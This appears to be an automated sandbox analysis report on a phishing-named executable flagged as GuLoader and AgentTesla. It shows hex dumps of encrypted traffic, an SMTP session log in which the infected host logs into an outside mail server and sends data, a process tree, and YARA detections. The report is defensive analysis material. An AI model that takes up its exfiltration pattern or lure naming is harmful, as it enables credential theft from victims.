Data Ascii: 3NfvSd4JvE_+di7>Pym@qvCWP1%Xb8iX4y,\~p9e\*`IlICi5*Dnw?+9R9kh+5Y{A$$z:xTEBb8xJ^vCH#|U<#m"
F0#g

2021-10-12 07:38:07 UTC 208 IN Data Raw: 72 1a 90 62 07 17 b6 d8 5f 0b 76 ec be c8 21 81 db 7f 45 3f 9c df 33 06 63 f7 e2 e9 ef 26 03 f4 86 66 91 a0 e3 
7a f5 3b 3b 82 57 6c f3 78 d9 ce 0d c2 87 2e 86 38 f7 bf 09 fb 99 5c 1c b6 a8 ea e7 b9 ab 57 94 19 0f 12 b1 89 04 55 0f d6 
06 fd 68 84 75 fe 84 26 39 f0 a3 2f 1a d7 82 db 9a 77 55 62 97 ff 05 35 39 3a 9b 1c ba fc b4 06 aa cf 9d 7a c6 e6 8f 68 ea 
34 43 c0 53 f2 9d 89 63 3b 1a 42 cc d4 fb f8 d8 4b 8d 56 ff 0b aa a5 4e 7e 37 72 04 84 08 9f 19 30 33 03 60 f2 d9 65 01 b8 
4d c9 b4 c7 7e a6 76 07 b3 68 db 2d a8 98 39 4c 85 a0 b8 fb 5c 17 05 4a 77 d8 fd 85 67 69 1a c4 4e a3 b5 55 b4 50 cb cc 
0e 6d 4a b5 09 18 15 03 bf 8f d7 2b 38 cf b8 92 f8 45 a4 ac 0d b4 b6 12 28 83 9a 32 8d f4 52 00 08 73 81 53 b9 e4 55 aa 
42 d1 78 e1 1c 2b e5 5a 0f 4f 0b f2 06 db af 
Data Ascii: rb_v!E?3c&fz;;Wlx.8\WUhu&9/wUb59:zh4CSc;BKVN~7r03`eM~vh-9L\JwgiNUPmJ+8E(2RsSUBx+ZO

2021-10-12 07:38:07 UTC 209 IN Data Raw: 39 e9 d2 2f b4 26 7b ef 14 0c ff 80 a3 d0 b8 a2 47 a1 8b dd 76 bb 81 f3 04 41 82 61 76 c1 c4 8a 8a 6a 80 9b 3b 
94 71 b9 5a c8 b0 0b 62 82 10 17 89 b0 4b ae f2 75 fe 4b ad d5 5a 66 7e 53 03 7c 1a 2b 96 e7 bb d3 cf 1a 49 e7 d8 ba 62 
19 0b 30 75 34 ea 41 5b b0 c2 67 00 c0 0d df a5 0a 37 42 16 d5 10 ae ec 7b 0b e3 be 2b 1d 69 62 27 71 2e 66 b6 97 a7 
d1 3e 33 40 af 45 38 c1 13 5c 50 99 40 59 24 3d df 07 1e d9 c4 9d 97 ea c5 d0 14 0f b9 e4 81 a3 f3 80 fa 1a 77 1b 30 fd 
b0 25 f4 42 4d 26 d9 f6 7e 1a 37 e7 23 2d c8 cb 21 4b 79 1b ac 2c 22 19 bd e5 ea fd 40 80 cb 69 aa c7 2b 68 48 28 ed cf 
88 b1 96 3a bc cc ee 87 55 ba 3f 7b 19 98 79 16 86 fe 5c fe 57 87 a1 34 00 de 26 7f ef 3b 33 19 be dc 28 d7 2d dc bd f9 
21 a6 8d 17 40 de ea c0 4f d5 4d d1 5d d3 ab 25 c0 86 80 
Data Ascii: 9/&{GvAavj;qZbKuKZf~S|+Ib0u4A[g7B{+ib'q.f>3@E8\P@Y$=w0%BM&~7#-!Ky,"@i+hH(:U?{y\W4&;3(-!@
OM]%

Timestamp
kBytes
transferred Direction Data
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2021-10-12 07:38:07 UTC 210 IN Data Raw: 02 6a c2 94 58 6a be 2a 8b d6 e3 5c 8d 50 1d 1b 7b 71 22 e1 51 e2 4e 58 25 35 fc 1c dc 6f 01 c3 63 29 c7 f7 
04 1a cf 3d 4c ee bb 4d ac c8 f2 9b da c4 7a 6b 42 97 c3 49 e3 f6 43 18 86 d0 36 f3 32 c3 95 65 2d 70 67 37 66 71 65 04 
08 7a a8 93 c8 13 a6 a1 5d fc 67 7d 44 5f c7 4f e9 50 44 5c b1 25 be db c1 fb 3f ea 69 f1 2a e5 04 96 80 a8 cd 1d 6d 1d 
a9 92 47 a3 66 c8 2d 7c ee bf fa c5 13 be 3e 67 f3 02 30 fb 89 bd c6 f7 ab 50 c8 89 db 65 89 83 d4 01 41 84 7b 79 cc d8 
99 0a ef 99 89 50 8a 64 ad 67 d3 bd 1b 1e 90 0e 05 eb be 3e ae aa 69 8e 4a b5 c9 26 66 2a 5c 60 6a 73 38 fd f3 b7 c1 a2 
1b 50 f0 ed b5 7e 14 63 3a 68 26 cd 25 5d b2 d3 69 06 c4 11 cf 9e 0a 24 5d 0b db 03 ba d9 7a 07 e7 b7 26 0a c8 ed 34 ed 
e3 72 ff 90 a6 c1 bf ab 41 81 5d 3e c0 09 40 46 83 cf ce 
Data Ascii: jXj*\P{q"QNX%5oc)=LMzkBIC62e-pg7fqez]g}D_OPD\%?i*mGf-|>g0PeA{yPdg>iJ&f*\`js8P~c:h&%]i$]z
&4rA]>@F

2021-10-12 07:38:07 UTC 211 IN Data Raw: c5 17 82 8f a5 b0 da ad 5d dd 80 cf 41 29 3c cf cb 1c 3b 74 f2 42 99 d6 45 3b f8 53 e3 75 36 80 41 22 60 c4 56 
5f df ce 2d 4c 75 7b bf 8b e8 d6 d1 27 b2 09 32 ba af 29 4c 03 65 93 de a5 e7 17 03 a0 a6 fb bb 74 4e 0a 1d 77 a5 fe db 
7b c5 c7 75 22 d6 48 cb 2d 93 f8 92 ff 3e 83 7a 10 66 2c d1 85 bb 7c 3a 66 e5 32 4e 64 c3 bc bc 52 3b a9 c6 c9 57 66 96 
25 22 4a e7 39 43 6f 30 80 9a 9e b9 46 72 fc f9 03 e1 e2 a1 12 99 42 73 eb 35 9a af 0e 91 cd 74 c2 c0 42 e8 4c 96 df 60 
8d cf 3c 78 b3 e2 a1 9d c5 db 21 d8 7a 77 78 c3 fc 52 35 78 d1 43 bd 0b 7d 99 88 c8 5e 4d 8a cc 45 7e 99 fa a7 87 20 3e 
19 e2 91 74 55 c2 6c ec e7 a3 87 ce 1b d1 ab 81 34 bd 97 fd 0e 82 3a 11 ab 2d 84 ed fd 12 44 34 03 a2 b1 99 b9 b1 2c fd 
2a 8a 6d dd a2 2e 18 5e 28 58 f2 73 f2 74 50 42 7f 7d 
Data Ascii: ]A)<;tBE;Su6A"`V_-Lu{'2)LetNw{u"H->zf,|:f2NdR;Wf%"J9Co0FrBs5tBL`<x!zwxR5xC}^ME~ >tUl4:-D4,*m.^(Xst
PB}

2021-10-12 07:38:07 UTC 212 IN Data Raw: 5b ee 95 a7 17 98 a4 4f 09 d9 e4 94 37 1c 2f cc c3 bb 4e 58 cf d4 8b 9f cc 7b 72 44 86 df 5b 62 87 65 08 87 d1 
3a 6d 32 c7 9f 68 1c 53 76 b5 c3 68 ec 06 1c f6 0f 81 cc 22 26 e9 51 70 64 71 66 5b c9 dd 4e 5c 5c 45 a2 bb 12 c7 c7 c9 
bf 67 7e 53 8e f1 06 9b 98 2e 8d 01 e2 49 20 de 5a af 6f c3 0f 79 fc 3e f9 41 56 a6 25 71 fa 14 b2 eb 85 af cc fe a4 4c bc 
84 d2 6a 92 96 76 b9 41 84 67 76 d8 ca 80 ab 62 90 89 bb 23 7b a2 7a dc a1 1e 16 9e 9c b0 ee ac 2c b7 bf 67 86 47 2a 
7e 39 67 1f 52 63 69 66 28 75 56 a4 cf a4 0f 4b e0 ca 3a 26 1a fe d0 6f 33 f2 36 4a a2 41 78 0c cb 03 d3 a5 19 37 4f 18 c0 
0f 2a 55 7a 0b e3 b8 38 16 40 67 23 63 38 6e 84 ff bb cd b8 b6 47 8e 4a 37 c2 07 5b 56 84 5c d6 83 38 d1 1b 12 c5 40 20 
84 91 57 c0 b7 0c 99 e5 8e 33 57 8b df 3a 65 89 2f 
Data Ascii: [O7/NX{rD[be:m2hSvh"&Qpdqf[N\\Eg~S.I Zoy>AV%qLjvAgvb#{z,gG*~9gRcif(uVK:&o36JAx7O*Uz8@g#c
8nGJ7[V\8@ W3W:e/

2021-10-12 07:38:07 UTC 214 IN Data Raw: bd b6 47 f3 75 36 84 5e 29 60 c7 0f 4f cf c1 aa 40 72 7d a2 8b e8 da ce 2c a1 01 3a ad 25 9a 6e 0c 6d 84 41 b1
e1 19 0c a8 b0 e3 39 ce 51 01 15 60 3a ea d1 71 cf 4e 60 30 40 fa c1 3e 84 6b 50 d3 36 97 e5 ac 76 4b d1 86 d2 6a 1f 7b 
f5 26 ed 6c c0 be 3e 74 3c 80 d2 da c5 ed ad 2e 10 cb b5 b0 5e 67 05 92 04 96 a6 50 7a e7 f4 0a f0 ee 27 02 9e 51 64 62 
64 1c b6 0a 81 aa 60 c5 ce 4f f5 49 8a c4 e5 a1 ce 2b 0c ab ef b4 89 dd c7 3e df 7d 5f 7f d1 7f 72 2d 73 cb 41 b2 1d fb 18 
8f dc 5e 56 99 cd 5d 61 94 e1 82 98 24 3e 18 fb 82 71 41 41 6d ec 50 b4 87 d1 1b c3 ab 8f 1c b6 95 ff 10 82 14 0d a0 38 8f 
db e7 0f 57 26 80 1b ac 99 0d f7 39 ed b6 2a 62 c1 24 69 15 5f 23 4b ff 66 ff 7a 40 de 7a 7c bd a1 1f 58 dc 34 b8 40 f3 05 
a1 19 5b c3 06 a2 5d d6 e9 5c 51 e0 c2 cc a6 
Data Ascii: Gu6^)`O@r},:%nmA9Q`:qN`0@>kP6vKj{&l>t<.^gPz'Qdbd`OI+>}_r-sA^V]a$>qAAmP8W&9*b$i_#Kfz@z|X4
@[]\Q

2021-10-12 07:38:07 UTC 215 IN Data Raw: 73 76 5c 8b c3 46 60 9e 57 65 9a df 6f ea 1b d2 8d e5 99 51 76 b6 26 6c 7c 82 ab 75 b4 1c 8a 1f 29 f5 4e ef 6f 
73 48 42 c7 4d 68 6d 4c 55 b8 3b a7 d5 d3 68 fe 73 70 d3 23 f6 09 90 82 ad c0 1d 71 8d 68 c9 33 a5 66 c5 10 72 e1 22 f6 
dc 0e be 2a 66 f3 14 b1 ba 92 b0 43 41 ab 50 20 ca d1 44 83 86 fa 11 c3 7f 78 fe 3c d5 08 b6 7d 82 8f 37 98 64 b9 67 c7 
bd 11 1e 84 03 0d e4 aa 2a a1 97 6f 8e 5e a0 cf 29 1d 17 49 6a 73 7b 3c f7 ed a4 cf a4 2e 4b f0 cd a9 e2 ad 7f 26 f4 74 f6 
36 4a a2 42 cc 0f d7 8c 9d a5 0a 37 5c 18 dd 03 ad e4 65 00 f0 b5 2d 0a c8 20 34 04 3e 68 9c 91 ae cd b0 b8 4a 87 4a 31 
c4 0e 5b 5f 8d 5c d5 1b 37 c2 03 01 d2 df 98 84 7a c8 5c 1f 17 bc f6 1e 94 8b 80 c8 73 62 9b af e4 ad 21 e8 55 35 25 d1 f9 
77 09 32 f5 a2 a5 c8 d8 26 5e fa 58 bf 4b 36 b9 
Data Ascii: sv\F`WeoQv&l|u)NosHBMhmLU;hsp#qh3fr"*fCAP Dx<}7dg*o^)Ijs{<.K&t6JB7\e- 4>hJJ1[_\7z\sb!U5%w2&^XK6

2021-10-12 07:38:07 UTC 216 IN Data Raw: a8 09 27 b7 af 27 64 0b 78 97 cb b5 f1 96 a7 a4 ab df bc 60 5d 1a 12 f3 1d fa dd 77 d4 55 f4 87 c3 41 d6 22 17 
4f 11 d4 36 94 e6 b0 75 4b cd 09 9a 6f 37 78 e8 3c 60 6d ca a3 36 6f 35 81 c4 cf 66 e6 a7 2e 13 c9 70 b9 78 6d 15 84 86 
8a 25 7a 75 d4 f3 02 eb f1 b5 8e a5 4e f7 aa 35 99 df 00 96 ac 76 c8 cc 42 c0 4c 9c d2 61 99 52 a1 61 b3 ea a9 95 c4 dd 
23 dd 74 7b 7a c3 fd 4f 34 99 d5 44 be 1e fb 14 0a 5c 47 0a 84 d1 40 67 9c e5 a2 9a 21 30 01 fe 8c 75 47 50 71 fe 61 b5 
9a cd 06 c9 46 9d 29 bf 91 fb 02 87 1a 14 a5 c0 87 ef e2 11 45 36 07 b5 a8 8d 91 a6 ac 53 32 89 7e c2 25 81 1d 44 29 4d 
ff 73 f2 70 72 5e 72 68 b8 bb 1b 46 ca 20 a2 dd ae 12 c0 19 4e c8 1e 9e 42 c0 fc 48 48 c2 c4 ce ae 1a 74 64 33 19 a3 86 
cb 03 24 71 a3 3f ab ed 27 c8 2f a5 b4 7f 1e 42 fe 7b 
Data Ascii: ''dx`]wUA"O6uKo7x<`m6o5f.pxm%zuN5vBLaRa#t{zO4D\G@g!0uGPqaF)E6S2~%D)Mspr^rhF NBHHtd3$q?'/
B{

2021-10-12 07:38:07 UTC 217 IN Data Raw: 83 0a 71 a6 9d 4a 0b 21 fd 52 73 c4 7c 54 de 37 5b ed 46 c4 88 b4 3f aa 5b 38 ea b8 72 65 d5 2d ea 80 1d 82 
ba da 92 c6 0d 3a 5b b6 ab 69 c9 04 74 f4 36 ed c0 12 ae a3 fe e7 0a 37 fe 95 21 26 e2 2a 97 b3 0a 38 6c 82 87 f4 12 c3 
6e 6e 7e c7 d6 0b 6f 6c 8b 92 3e 95 6b 31 9e dd 20 fd 0b 86 1e 06 fe 22 c6 ae 1f b2 9d 54 a7 c0 3e 65 9f b8 70 ee 97 2b 
77 3a b4 41 4e 0f 45 e2 da a9 e3 ec 70 25 f5 cd f0 3f 5d a2 43 8d 1c 45 e9 d1 ab 07 2b c1 f2 c7 9e 7d fd f8 fc ef b8 22 1a 
5b e0 ca 7f b6 91 9d b6 a2 d1 3e 5a 55 0f ac 37 c2 1b 5a 54 93 5c d7 ca 31 cf 26 19 c5 42 71 87 78 ad 4f 08 8a 6c f5 1d f8 
98 8d dd 18 77 1b 41 ea 30 c8 e7 57 28 3f d7 f9 77 1a 2c e9 2e 22 c5 cd 3e 42 71 04 a3 2b 13 9d 19 f7 6c 07 23 88 e5 63 
bf ac 2c 63 45 02 e7 c6 ae aa 80 32 a8 d6 61 24 53 
Data Ascii: qJ!Rs|T7[F?[8re-:[it67!&*8lnn~ol>k1 "T>ep+w:ANEp%?]CE+}"[>ZU7ZT\1&BqxOlwA0W(?w,.">Bq+l#c,cE2a$S

2021-10-12 07:38:07 UTC 219 IN Data Raw: f5 ce 78 cd 55 f4 2a d0 ce cb 2d 93 e2 18 c8 a2 8e 75 94 7c 57 42 0f 80 e0 37 73 f1 b5 6a 6d ca b8 2c e6 98 88 
d5 49 4e e3 8f 21 10 cb fd a6 7b 63 16 92 06 9f a0 73 7a f4 f5 0a e3 ea b6 8e 39 5e 64 62 2c 1e 91 08 83 2a 70 ca c1 61 
e8 5d 17 d2 61 a8 d3 38 74 37 ee a2 92 c2 ce 31 5c d1 7e 6f 42 f5 47 3a 56 d6 51 ac 9b 58 04 98 41 4b 41 a4 d0 41 76 8e 
66 07 9b 37 b1 0d dd 8b 7e 55 c1 d8 f0 77 3b 33 c8 03 c8 a4 1c 21 ae 14 ff 05 9a 1f 18 b8 35 8f f2 e5 02 53 b5 b0 bf bf 0a 
84 b0 0c fd 25 0e ca dd b9 2e 3b 41 3f c4 5e 73 f2 7c 47 4e fb d1 b4 ae 90 4c c5 00 aa d0 32 13 c2 39 46 d5 09 3f e5 cb 
e6 c1 44 e6 c3 de 26 58 78 41 3c 13 b9 0c 86 1b 01 6e ad 3f a9 ff 26 d0 39 a7 a1 67 1c 42 fc 64 6b 14 49 d9 f0 b5 42 65 
a0 d8 f5 f8 08 dd d9 59 d3 c6 39 72 f8 f8 35 e4 f1 
Data Ascii: xU*-u|WB7sjm,IN!{csz9^db,*pa]a8t71\~oBG:VQXAKAAvf7~Uw;3!5S%.;A?^s|GNL29F?D&XxA<n?&9gBdkI
BeY9r5

2021-10-12 07:38:07 UTC 220 IN Data Raw: c1 e9 be 6f 6c d1 2b f8 01 98 8a af c8 13 63 0c 28 db 5a ad 6e cd 0d 7c fc 3e eb c0 13 bc 22 7b ef 06 30 fa 87 
a1 c2 f0 aa 42 a1 8a dc 64 87 87 f4 00 43 8a 69 7e c5 c4 8b 8b 62 85 9b 39 96 79 b1 7a cf a0 19 03 8c 1e 05 ec a2 22 bc 
9f 67 93 56 a8 c7 3b 74 1f 41 62 6e 73 39 f5 ef b6 c1 aa 07 6c e2 d8 3b 7b 08 7e 34 4d 34 f8 b8 5f b0 c3 69 0e c5 0d dd ab
04 39 41 16 d5 1f a8 ed 78 05 ed e0 25 18 c9 60 26 6d 36 60 96 96 a6 c3 be b6 44 8f 44 38 cc 14 5c 53 91 26 57 26 b9 df 
06 1c d7 c2 9d 96 f8 45 41 1a 0a b9 e4 9d b1 96 85 da 1a e5 9b ad f8 b0 24 f5 50 24 22 d9 f7 7f 14 31 e7 20 2c c7 c5 23 
4c 79 19 3d 22 33 99 b8 66 ef ef b1 84 eb 6b b8 aa 25 6a 4d 08 ef ce c6 2e 91 3a 57 c5 e0 81 52 b9 23 76 08 bc 7d 16 1b 
f2 61 fb 57 87 e5 b4 92 db 59 7f ab bb b3 1d ec dd 
Data Ascii: ol+c(Zn|>"{0BdCi~b9yz"gV;tAbns9l;{~4M4_i9Ax%`&m6`DD8\S&W&EA$P$"1 ,#Ly="3fk%jM.:WR#v}aWY

Timestamp
kBytes
transferred Direction Data
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Code Manipulations

Statistics

Behavior

Click to jump to process

System Behavior

2021-10-12 07:38:07 UTC 221 IN Data Raw: 56 3a 83 57 0b 16 b1 90 1c 01 5c e5 b4 ad 64 cb 91 2d 08 6a d5 9b 5e 47 30 bf a8 e9 c1 32 0f 91 86 77 80 9b 
f4 7d f5 29 1f 8f 41 7f f3 79 ac a6 7e e2 e4 61 c8 70 b9 a5 02 eb a7 4b 0c c2 93 97 98 ca fb 03 e1 5b 0b 0f b6 8e 3b 79 18 
b0 2b 80 17 f7 39 a5 a1 30 39 e1 bc 22 0f e5 d9 af 90 25 30 05 fe 8c 71 47 40 71 fe 65 ba 9a cd 06 cd b6 9d 29 bf 95 fb 0d 
87 1a 10 a5 30 87 ef e0 17 42 34 01 be ad 8b 8c b7 2c ff 37 8f 63 d3 a5 29 1b 43 2d 45 f7 7b fa 74 52 5f 7a 60 b5 bc 11 44 
c0 28 aa c1 b3 17 c8 11 46 c0 1b be 40 ca f4 40 4c e2 c5 cc a4 1d 73 61 38 12 ab 8e c3 06 04 73 a8 37 a3 f8 20 d8 24 a2 
bc 62 14 4a f4 67 61 15 41 d3 e0 b4 40 7b a0 c8 eb f8 16 dd df 79 d1 db 3c 7a f6 f4 46 e4 99 37 2e 5b 16 f3 3a d8 88 3c 
d0 23 a5 11 8e 72 05 a3 35 7d 22 6a 86 72 be dd 
Data Ascii: V:W\d-j^G02w})Ay~apK[;y+909"%0qG@qe)0B4,7c)C-E{tR_z`D(F@@Lsa8s7 $bJgaA@{y<zF7.[:<#r5}"jr

Timestamp
kBytes
transferred Direction Data

Timestamp
Source
Port

Dest
Port Source IP Dest IP Commands

Oct 12, 2021 09:39:46.986123085 CEST 587 49812 116.0.120.83 192.168.11.20 220-seahorse.sfdns.net ESMTP Exim 4.94.2 #2 Tue, 12 Oct 2021 15:39:46 
+0800 
220-We do not authorize the use of this system to transport unsolicited, 
220 and/or bulk e-mail.

Oct 12, 2021 09:39:46.987306118 CEST 49812 587 192.168.11.20 116.0.120.83 EHLO 849224

Oct 12, 2021 09:39:47.259186029 CEST 587 49812 116.0.120.83 192.168.11.20 250-seahorse.sfdns.net Hello 849224 [102.129.143.96]
250-SIZE 52428800
250-8BITMIME
250-PIPELINING
250-PIPE_CONNECT
250-AUTH PLAIN LOGIN
250-STARTTLS
250 HELP

Oct 12, 2021 09:39:47.260775089 CEST 49812 587 192.168.11.20 116.0.120.83 AUTH login cHVyY2hhc2luZ0Bjc2VsZWdhbmNlLmNvbQ==

Oct 12, 2021 09:39:47.532618999 CEST 587 49812 116.0.120.83 192.168.11.20 334 UGFzc3dvcmQ6

Oct 12, 2021 09:39:47.814075947 CEST 587 49812 116.0.120.83 192.168.11.20 235 Authentication succeeded

Oct 12, 2021 09:39:47.814698935 CEST 49812 587 192.168.11.20 116.0.120.83 MAIL FROM:<purchasing@cselegance.com>

Oct 12, 2021 09:39:48.087203979 CEST 587 49812 116.0.120.83 192.168.11.20 250 OK

Oct 12, 2021 09:39:48.087594032 CEST 49812 587 192.168.11.20 116.0.120.83 RCPT TO:<purchasing@cselegance.com>

Oct 12, 2021 09:39:48.373550892 CEST 587 49812 116.0.120.83 192.168.11.20 250 Accepted

Oct 12, 2021 09:39:48.373903036 CEST 49812 587 192.168.11.20 116.0.120.83 DATA

Oct 12, 2021 09:39:48.646373034 CEST 587 49812 116.0.120.83 192.168.11.20 354 Enter message, ending with "." on a line by itself

Oct 12, 2021 09:39:48.648243904 CEST 49812 587 192.168.11.20 116.0.120.83 .

Oct 12, 2021 09:39:48.924387932 CEST 587 49812 116.0.120.83 192.168.11.20 250 OK id=1maCO4-000As1-V1

Oct 12, 2021 09:41:24.513223886 CEST 49812 587 192.168.11.20 116.0.120.83 QUIT

Oct 12, 2021 09:41:24.790131092 CEST 587 49812 116.0.120.83 192.168.11.20 221 seahorse.sfdns.net closing connection

Start time: 09:36:50

Start date: 12/10/2021

SMTP Packets

Analysis Process: Foreign_Bank Account Details.exe PID: 7880 Parent PID: 6128Analysis Process: Foreign_Bank Account Details.exe PID: 7880 Parent PID: 6128

General
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Path: C:\Users\user\Desktop\Foreign_Bank Account Details.exe

Wow64 process (32bit): true

Commandline: 'C:\Users\user\Desktop\Foreign_Bank Account Details.exe' 

Imagebase: 0x400000

File size: 135168 bytes

MD5 hash: 8906FA5FED7B1D3D2E5579D97419C076

Has elevated privileges: true

Has administrator privileges: true

Programmed in: Visual Basic

Yara matches: Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 
00000001.00000002.17634386230.0000000002220000.00000040.00000001.sdmp, 
Author: Joe Security

Reputation: low

File ActivitiesFile Activities

Registry ActivitiesRegistry Activities

Start time: 09:37:27

Start date: 12/10/2021

Path: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Wow64 process (32bit): true

Commandline: 'C:\Users\user\Desktop\Foreign_Bank Account Details.exe' 

Imagebase: 0x7ff652070000

File size: 65440 bytes

MD5 hash: 0D5DF43AF2916F47D00C1573797C1A13

Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Yara matches: Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 
00000008.00000002.21904007601.000000001E471000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, 
Source: 
00000008.00000002.21904007601.000000001E471000.00000004.00000001.sdmp, 
Author: Joe Security

Reputation: moderate

Show Windows behavior

Show Windows behavior

Start time: 09:37:28

Start date: 12/10/2021

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Imagebase: 0x7ff771f00000

File size: 875008 bytes

Analysis Process: RegAsm.exe PID: 5916 Parent PID: 7880Analysis Process: RegAsm.exe PID: 5916 Parent PID: 7880

General

File CreatedFile Created

File WrittenFile Written

File ReadFile Read

Key Value CreatedKey Value Created

Analysis Process: conhost.exe PID: 1260 Parent PID: 5916Analysis Process: conhost.exe PID: 1260 Parent PID: 5916

General
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File ActivitiesFile Activities

MD5 hash: 81CA40085FC75BABD2C91D18AA9FFA68

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: moderate

Show Windows behavior

File ActivitiesFile Activities

Start time: 09:38:39

Start date: 12/10/2021

Path: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe

Wow64 process (32bit): true

Commandline: 'C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe' 

Imagebase: 0x100000

File size: 65440 bytes

MD5 hash: 0D5DF43AF2916F47D00C1573797C1A13

Has elevated privileges: false

Has administrator privileges: false

Programmed in: .Net C# or VB.NET

Antivirus matches: Detection: 0%, Metadefender, Browse
Detection: 0%, ReversingLabs

Reputation: moderate

Show Windows behavior

File ActivitiesFile Activities

Start time: 09:38:39

Start date: 12/10/2021

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Imagebase: 0x7ff771f00000

File size: 875008 bytes

MD5 hash: 81CA40085FC75BABD2C91D18AA9FFA68

Has elevated privileges: false

Has administrator privileges: false

Programmed in: C, C++ or other language

Reputation: moderate

Show Windows behavior

Analysis Process: tKZVPq.exe PID: 2024 Parent PID: 4608Analysis Process: tKZVPq.exe PID: 2024 Parent PID: 4608

General

File CreatedFile Created

File WrittenFile Written

File ReadFile Read

Analysis Process: conhost.exe PID: 6788 Parent PID: 2024Analysis Process: conhost.exe PID: 6788 Parent PID: 2024

General

Analysis Process: tKZVPq.exe PID: 2664 Parent PID: 4608Analysis Process: tKZVPq.exe PID: 2664 Parent PID: 4608
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File ActivitiesFile Activities

Start time: 09:38:47

Start date: 12/10/2021

Path: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe

Wow64 process (32bit): true

Commandline: 'C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe' 

Imagebase: 0xf50000

File size: 65440 bytes

MD5 hash: 0D5DF43AF2916F47D00C1573797C1A13

Has elevated privileges: false

Has administrator privileges: false

Programmed in: .Net C# or VB.NET

Reputation: moderate

Show Windows behavior

File ActivitiesFile Activities

Start time: 09:38:47

Start date: 12/10/2021

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Imagebase: 0x7ff771f00000

File size: 875008 bytes

MD5 hash: 81CA40085FC75BABD2C91D18AA9FFA68

Has elevated privileges: false

Has administrator privileges: false

Programmed in: C, C++ or other language

Reputation: moderate

Show Windows behavior

File ActivitiesFile Activities

Start time: 09:39:05

Start date: 12/10/2021

Path: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-c45e5da5.exe

Wow64 process (32bit): false

Commandline: 'C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\mpam-c45e5da5.exe' /q WD

Imagebase: 0x7ff758840000

File size: 16298416 bytes

MD5 hash: 443EE02E661D01299DEF051C2990B777

Has elevated privileges: false

Has administrator privileges: false

Programmed in: C, C++ or other language

Reputation: low

Show Windows behavior

General

File WrittenFile Written

File ReadFile Read

Analysis Process: conhost.exe PID: 7776 Parent PID: 2664Analysis Process: conhost.exe PID: 7776 Parent PID: 2664

General

Analysis Process: mpam-c45e5da5.exe PID: 3480 Parent PID: 7216Analysis Process: mpam-c45e5da5.exe PID: 3480 Parent PID: 7216

General
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Start time: 09:39:08

Start date: 12/10/2021

Path: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-
AC5C-CF18E1F4A1E0\MpSigStub.exe

Wow64 process (32bit): false

Commandline: C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-
CF18E1F4A1E0\MpSigStub.exe /stub 1.1.18500.10 /payload 1.351.256.0 /program C:
\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\mpam-c45e5da5.exe /q WD

Imagebase: 0x7ff791c50000

File size: 803176 bytes

MD5 hash: 01F92DC7A766FF783AE7AF40FD0334FB

Has elevated privileges: false

Has administrator privileges: false

Programmed in: C, C++ or other language

Yara matches: Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.18341814408.0000015B1C2D4000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 
00000023.00000003.18341814408.0000015B1C2D4000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.18341814408.0000015B1C2D4000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.18340752801.0000015B1B72C000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 
00000023.00000003.18340752801.0000015B1B72C000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.18340752801.0000015B1B72C000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: webshell_php_by_string_obfuscation, Description: PHP file containing obfuscation 
strings. Might be legitimate code obfuscated for whatever reasons, a webshell or can be 
used to insert malicious Javascript for credit card skimming, Source: 
00000023.00000003.18319967809.0000015B1BE5C000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.18319967809.0000015B1BE5C000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: clearlog, Description: Detects Fireball malware - file clearlog.dll, Source: 
00000023.00000003.18298177384.0000015B1AD15000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Conti_ransomware, Description: Yara detected Conti ransomware, 
Source: 
00000023.00000003.18350843348.0000015B1B3CA000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: webshell_php_gzinflated, Description: PHP webshell which directly eval()s 
obfuscated string, Source: 
00000023.00000003.18402123411.0000015B1B2B1000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded 
code that has been base64 encoded, Source: 
00000023.00000003.18402123411.0000015B1B2B1000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.18402123411.0000015B1B2B1000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: Mimikatz_Memory_Rule_1, Description: Detects password dumper mimikatz in 
